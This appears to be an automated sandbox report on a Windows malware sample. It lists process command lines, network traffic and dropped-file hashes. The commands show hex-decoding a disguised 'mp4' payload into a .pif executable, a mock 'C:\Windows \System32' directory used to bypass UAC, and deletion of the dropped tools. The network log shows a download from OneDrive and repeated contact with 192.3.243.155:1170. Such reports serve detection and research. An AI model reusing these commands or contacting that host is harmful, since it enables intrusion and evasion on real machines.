C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
CZ 104.64.113.235:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 235.113.64.104.in-addr.arpa udp
NL 23.62.61.88:443 www.bing.com tcp
US 8.8.8.8:53 88.61.62.23.in-addr.arpa udp
NL 23.62.61.88:443 www.bing.com tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 8.8.8.8:53 sozjiw.dm.files.1drv.com udp
US 13.107.42.12:443 sozjiw.dm.files.1drv.com tcp
US 8.8.8.8:53 11.137.107.13.in-addr.arpa udp
US 192.3.243.155:1170 tcp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 192.3.243.155:1170 tcp
US 192.3.243.155:1170 tcp
US 192.3.243.155:1170 tcp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 192.3.243.155:1170 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 192.3.243.155:1170 tcp
US 192.3.243.155:1170 tcp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/1588-36-0x000001D342230000-0x000001D342252000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_psrk0f5g.2zr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Users\Public\Ping_c.mp4

MD5 335eb6082639fb0d66f3391a25075155
SHA1 2c52a0e1dbcff4830c95d5736f7544a3bb1bb256
SHA256 f9fb91f9e5ba3630e87ea0b29a2f8649aef14da03d2db345518a322877d6199c
SHA512 7bc6ba46ad8fdf126e1563670654e5a7f75cc1f330a7876d96a3bfa7db1470e37a323e122d84fd6314c9657521980c11d4626808138a9da9ca0d7f41484df97d

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

C:\Users\Public\Libraries\Ping_c.pif

MD5 45af8d1371e560ecab6bb07bd895dfc8
SHA1 58bce072911299ad6165622b4d458bc5dfb3e5ea
SHA256 53a204b7cf90518c6f747711cf10718f9270bc7ac357df1e8855e1b479de157e
SHA512 5586bdb1c8065b43d2199ad187fc60286d6983a362d0cc54446a33fd205d0b196db992f875da24bc95201ce3d68489df16e1cb7485469993cf3f025abf2d8651

memory/2012-75-0x0000000000400000-0x000000000057D000-memory.dmp

memory/2012-76-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-77-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-80-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-81-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-84-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-85-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-88-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-89-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-92-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-94-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-97-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-98-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-101-0x00000000277E0000-0x00000000287E0000-memory.dmp

memory/2012-102-0x00000000277E0000-0x00000000287E0000-memory.dmp